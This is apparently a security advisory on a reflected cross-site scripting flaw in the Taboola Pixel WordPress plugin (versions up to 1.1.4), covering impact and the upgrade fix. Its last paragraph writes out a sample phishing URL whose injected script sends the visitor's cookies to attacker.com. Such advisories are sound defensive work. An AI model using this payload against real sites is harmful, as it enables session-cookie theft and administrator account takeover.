Taboola Pixel EUVD-2026-15923

The victim must click a malicious link containing XSS payload targeting Taboola Pixel versions <= 1.1.4. Remote unauthenticated attacker crafts URL with unsanitized input reflected in webpage generation. No special configuration required.

While a CVSS score and EPSS metric are not available for this CVE, the inherent risk of a reflected XSS in a widely-distributed WordPress plugin is substantial. The attack vector appears to be network-based (reflected via URL), likely requiring user interaction (clicking a link), but complexity is low—typical XSS payloads are trivial to craft. The impact is high: an attacker can steal session cookies, perform actions on behalf of authenticated users, deface page content, redirect users to malicious sites, or harvest sensitive information. Since this is a reflected XSS in a plugin used on potentially thousands of WordPress sites, the real-world exploitability is high despite the lack of KEV listing or confirmed public POC. The remediation is straightforward (upgrade to a patched version), but until sites update, every unpatched instance represents an active vulnerability. This should be treated as a priority security issue for any organization running Taboola Pixel <= 1.1.4, particularly on sites handling user authentication or sensitive data.

An attacker sends a phishing email to WordPress administrators with a link such as 'https://target-site.com/?taboola_param=<script>fetch("https://attacker.com/steal?cookie=" + document.cookie)</script>' that exploits the Taboola Pixel plugin. When an authenticated administrator clicks the link, the injected JavaScript executes in their browser, exfiltrating their WordPress session cookie to the attacker, who can then impersonate the administrator and gain unauthorized access to the site. The reflected nature of the attack means the vulnerability is triggered only upon visiting the malicious URL, making it a low-complexity but high-impact vector suitable for targeted phishing campaigns against website operators.